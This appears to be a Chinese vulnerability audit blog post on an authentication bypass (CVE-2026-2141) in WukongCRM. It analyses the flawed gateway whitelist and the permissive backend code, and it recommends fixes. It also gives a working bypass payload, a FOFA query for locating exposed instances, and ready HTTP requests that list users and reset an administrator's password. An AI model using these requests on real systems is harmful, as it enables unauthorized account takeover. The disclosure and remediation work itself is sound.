WukongCRM漏洞代码审计
SourByte Researcher

本文对【WukongCRM源码】进行了代码审计共发现1个有价值的漏洞(CVE-2026-2141)。WukongCRM是一款基于Spring Cloud Alibaba微服务架构和Vue.js的企业级开源客户关系管理与人力资源系统。系统中对特定路径的白名单放行逻辑存在缺陷。攻击者可通过 URL 结尾欺骗绕过Gateway鉴权最终获得Web系统所有权限。。

1
受影响版本:WukongCRM-11.x-JAVA	FOFA:body="悟空crm"

1. 漏洞概述

72CRM (wkcrm) 系统中,网关层 (gateway) 存在身份验证绕过漏洞。攻击者可以恶意poc,欺骗网关的权限校验逻辑,未授权访问后端微服务的所有受保护接口。


2. 漏洞成因与代码分析

漏洞的产生是由于“gateway不严谨的白名单验证”与“后端默认的宽容处理”共同导致的。可以理解为这个逻辑(华山长空栈道,景点:游客敢来,肯定是胆子大练过的。游客:景点敢开肯定是包活的)。

2.1 通俗易懂的漏洞原理解释

“保安”与“办事员”

为了理解这个漏洞,我们可以把网关想象成门口的保安,把后端服务想象成楼里的办事员

  • 保安的规则:只要访客说的话是以“去拿公开资料” (/v2/api-docs) 结尾,就不需要查身份证(Token),直接放行。
  • 办事员的规则:处理办事请求时,如果看到分号 (;),就认为分号后面的是无关紧要的备注信息,直接忽略。

攻击过程:

  1. **攻击者(渗透测试)**走到门口说:“我要去修改管理员密码 /// ;备注=我要去拿公开资料”。
    • Payload: /adminUser/resetPassword///;name=/v2/api-docs
  2. 保安(网关):只听到了最后一句话“…去拿公开资料”。保安觉得符合免查规定,于是放行
  3. 办事员(后端):拿到了请求单。依照规则,他忽略了分号后面的“备注=我要去拿公开资料”。
    • 他看到的指令仅剩下:“我要去修改管理员密码”。
    • 至于中间那三个斜杠 ///,办事员觉得这只是有点啰嗦,把它理解为一个斜杠 /
  4. 后果:办事员在没有查身份证的情况下,直接执行了“修改管理员密码”的操作。

总结:攻击者利用了保安“只看结尾”和办事员“忽略后缀”的理解差异,成功欺骗了系统。


2.2 网关层:不安全的 URL 匹配逻辑

文件位置: gateway/src/main/java/com/kakarote/gateway/service/impl/PermissionServiceImpl.java

PermissionServiceImpl 类中,ignoreAuthentication 方法用于判断当前请求 URL 是否属于“免鉴权”白名单。

描述

  • 网关层逻辑缺陷url.endsWith("/v2/api-docs") 这种判断方式极其容易被欺骗。它只检查字符串末尾,而没有对 URL 进行规范化(Normalization)处理或完整的路径匹配。

2.23后端层:默认的宽容处理

文件位置: core/src/main/java/com/kakarote/core/config/ParamAspect.java

ParamAspect 切面中,后端服务并未验证请求是否已通过网关的身份校验。当从请求头或 Cookie 中无法解析出有效 Token 时,代码并没有抛出异常或拒绝访问,而是默认创建了一个空的 UserInfo 对象。

1
2
3
4
5
6
7
8
9
10
11
12

if (info == null) {
// [核心漏洞点]默认宽容策略
// TODO 未登录时有个空的user对象
// 当没有Token或Token无效时,系统会一个空用户
info = new UserInfo();
info.setRequest(request);
info.setResponse(attributes.getResponse());
UserUtil.setUser(info);
}
// 继续执行目标方法,而不是拦截
return point.proceed();

描述

漏洞原理深度解析:

  • 防御缺失:后端服务完全信任上游(网关)。“只要请求能到达我这里,肯定已经在网关验证了”。
  • 默认放行if (info == null) 分支本应是“拒绝访问”的逻辑处理点,但开发者可能为了内部调用或测试方便,选择了“放行并给个空身份”。
  • 漏洞形成:这种“放行”恰好接住了从网关“漏进来”的攻击请求,导致攻击者畅通无阻。

最终利用 Payload///;name=/v2/api-docs

  • 绕过网关:当请求到达网关时,网关获取到的原始请求路径以 /v2/api-docs 结尾。由于命中 endsWith 逻辑,网关判定该请求为“Swagger 文档请求”,直接跳过所有权限过滤逻辑。
  • 后端路径:请求被转发到后端。后端使用的 Servlet 容器会对 URL 进行解析。
    • 分号截断; 及其之后的部分被识别为矩阵参数(Matrix Variables)。在路径映射时,;name=/v2/api-docs 会被忽略。
    • 斜杠规范化/// 会被自动合并为单个 /
    • 实际匹配:最终后端路由匹配到的依然是目标接口(如 /adminUser/queryUserList)。

3. 漏洞复现

以下步骤演示如何利用该漏洞获取管理员账号。

步骤 1: 信息收集

未授权查询用户列表(保守测试语句证明漏洞存在)

1
2
3
4
5
6
7
8
POST /adminUser/queryUserList///;name=/v2/api-docs HTTP/1.1
Host: 127.0.0.1:8443
Content-Type: application/json

{
"page": 1,
"limit": 5
}

描述

步骤 2: 实施攻击

未授权修改任意用户密码(互联网目标禁用)

1
2
3
4
5
6
7
8
POST /adminUser/resetPassword///;name=/v2/api-docs HTTP/1.1
Host: 127.0.0.1:8443
Content-Type: application/json

{
"ids": [14773],
"password": "Password1as423"
}

描述

结果:

  • 密码重置成功,攻击者实现对超级管理员账号的完全控制。

    描述


4. 修复建议

4.1 网关层修复

修改 gateway/src/main/java/com/kakarote/gateway/service/impl/PermissionServiceImpl.java,移除脆弱的 endsWith 判断,改为严格的相等匹配,或使用 Spring Security/Shiro 等标准鉴权框架的路径匹配器。

4.2 后端层修复

修改 core/src/main/java/com/kakarote/core/config/ParamAspect.java,在没有 Token 且非特定免权接口时,强制抛出异常。


源码地址:https://gitee.com/wukongcrm/crm_pro/repository/archive/master.zip

 评论
评论插件加载失败
正在加载评论插件